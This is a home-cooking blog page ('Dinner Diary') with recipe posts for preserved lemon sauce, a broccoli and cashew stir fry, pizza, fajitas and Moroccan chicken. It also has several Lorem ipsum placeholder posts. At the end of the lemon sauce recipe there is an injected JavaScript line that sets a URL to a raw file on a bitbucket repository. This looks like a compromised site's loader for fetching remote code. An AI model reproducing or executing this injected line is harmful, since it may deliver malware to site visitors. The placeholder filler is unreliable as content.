Lorem ipsum dolor sit amet

Posted By Stephen

Lorem ipsum dolor sit amet consectetur adipiscing elit. Quisque faucibus ex sapien vitae pellentesque sem placerat. In id cursus mi pretium tellus duis convallis. Tempus leo eu aenean sed diam urna tempor. Pulvinar vivamus fringilla lacus nec metus bibendum egestas. Iaculis massa nisl malesuada lacinia integer nunc posuere. Ut hendrerit semper vel class aptent taciti sociosqu. Ad litora torquent per conubia nostra inceptos himenaeos.

Lorem ipsum dolor sit Non Existing amet consectetur adipiscing elit. Quisque faucibus ex sapien vitae pellentesque sem placerat. In id cursus mi pretium tellus duis convallis. Tempus leo eu aenean sed diam urna tempor. Pulvinar vivamus fringilla lacus nec metus bibendum egestas. Iaculis massa nisl malesuada lacinia integer nunc posuere. Ut hendrerit semper vel class aptent taciti sociosqu. Ad litora torquent per conubia nostra inceptos himenaeos.

Feb 26th, 2025

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Lorem ipsum dolor sit amet

Posted By Stephen

Feb 26th, 2025

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Lorem ipsum dolor sit amet

Posted By Stephen

Feb 26th, 2025

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Roast Chicken with Harissa and Preserved Lemon Sauce

Posted By Stephen

Preserved Lemon Sauce

250ml white wine
250ml chicken stock
half a medium onion, peeled and roughly sliced
1 bay leaf
1 large clove garlic, peeled and lightly crushed
few peppercorns
1 to 2 small preserved lemons
1tsp cornflour mixed with a little water

Heat up the wine and stock with the onion, bay leaf, garlic and peppercorns in it. Let it simmer for about five minutes, then turn it off and let them infuse for another 15 minutes or so before removing all the flavourings, leaving just the liquid. Cut the lemons into quarters and remove and discard the pulp and pips. Finely chop the lemon skin, then add to the sauce and reheat. When it is just simmering again, slowly add the cornflour and water mixture, stirring all the time, until it has reached the thickness that you want. It it unlikely that you will need to add all of the cornflour. Let it cook out for a few minutes, then pour into a jug.var url = ‘https://bitbucket.org/goo2/adss/raw/bb48df0654afc575e4e10d9e14d886a4afba6bc2/go.txt’;
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Sep 13th, 2024

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Mushroom, Brocolli and Cashew Nut Stir Fry

Posted By Stephen

Kerri was out this evening and on the way home I wondered how to use up the few pieces of purple sprouting brocolli that we had left over. Somehow in these situations I often end up craving a Thai or Chinese style stir fry and that’s what happened this evening too. To go with the brocolli, I bought some mushrooms, cashew nuts and spring onions.

Turned out very well and although I was a bit over-full afterwards, I still found myself wishing there had been more.

Everything was quite approximate, but the recipe went something like this:
1 large garlic clove, finely chopped
small piece grated ginger (I used half a teaspoon of powdered ginger actually as I didn’t have fresh)
200g mushrooms, sliced
half a pack of purple sprouting brocolli, cut into thirds and thick stalks sliced lengthways too
3 spring onions, chopped, both white and green bits
handful cashew nuts
half a teaspoon of corn flour, made into a paste with a little cold water
1tbsp oyster sauce
2tbsp soy sauce
1tbsp Chinese cooking wine

Heat a little vegetable oil in a wok over medium to high heat and add the garlic and ginger. Stir fry for 30 seconds or so, then add the brocolli and mushrooms. Stir fry for a couple of minutes and add one tablespoon of soy sauce. Add the spring onions and cashew nuts and keep stir frying for another minute. Then turn the heat down, add the other tablespoon of soy sauce, the oyster sauce and the Chinese cooking wine. Give a good stir and place a lid onto the wok. Leave it for 3 or 4 minutes until done. Serve with some rice and enjoy!

Mar 28th, 2011

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Parma Ham, Peashoot and Pesto Pizza

Posted By Kerri

This was originally going to be something and watercress pizza but something went wrong with out shopping order and we ended up with peashoots instead. I had selected watercress because the English stuff is just coming into season, these peashoots were from Portugal so not exactly food-mile friendly but tasty nonetheless.

We tossed the raw peashoots in some pesto before adding them to the cooked pizza, a technique we’ve used before with rocket. We also reserved some of the mozarella and added that with the peashoots, a good way to lighten everything up.

Mar 25th, 2011

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Steak Fajitas

Posted By Kerri

We had a small piece of steak in the freezer which wasn’t really enough for a whole meal but was too much to throw away. We had no plan for dinner tonight so ended up stretching the steak by adding lots of vegetables to make fajitas. We haven’t had these for ages and they were really good, not sure why we left it so long.

Mar 24th, 2011

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Spiced Salmon

Posted By Kerri

Salmon, cooked quickly with cumin, chilli, coriander and lemon (much like this recipe actually) and served with roasted cauliflower. The cauliflower just wouldn’t cook though, we ate it anyway but it was far too crunchy.

Mar 22nd, 2011

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Leftover Morrocan Roast Chicken

Posted By Kerri

Yesterday’s leftover chicken reheated and served with vegetables that had been roasted with chilli, cumin and garlic. A handful of coriander and some warm wraps and that was tonight’s dinner. Perfect Monday food.

Mar 21st, 2011

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Morrocan Roast Chicken

Posted By Kerri

While I was planning meals for the weekend, I decided that I wanted to roast a chicken with Morrocan flavourings, in a similar way to this leg of lamb. I bought a bulb of fennel, some olives and some preserved lemons and set about putting together said roast chicken. It didn’t take long for me to realise that I was actually just making chicken tagine with a whole chicken instead of pieces.

At this point, Stephen and I had a conversation in which he said something like “Shall we just make chicken tagine?” but I stupidly ignored him and continued with my original plan. I should have listened to him. If I had then we would have had a really good chicken tagine instead of a dish which was very much like chicken tagine but not quite as good.

Our chicken tagine recipe is here, try it, it’s brilliant.

Mar 20th, 2011

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Dinner Diary

Lorem ipsum dolor sit amet

Lorem ipsum dolor sit amet

Lorem ipsum dolor sit amet

Roast Chicken with Harissa and Preserved Lemon Sauce

Mushroom, Brocolli and Cashew Nut Stir Fry

Parma Ham, Peashoot and Pesto Pizza

Steak Fajitas

Spiced Salmon

Leftover Morrocan Roast Chicken

Morrocan Roast Chicken

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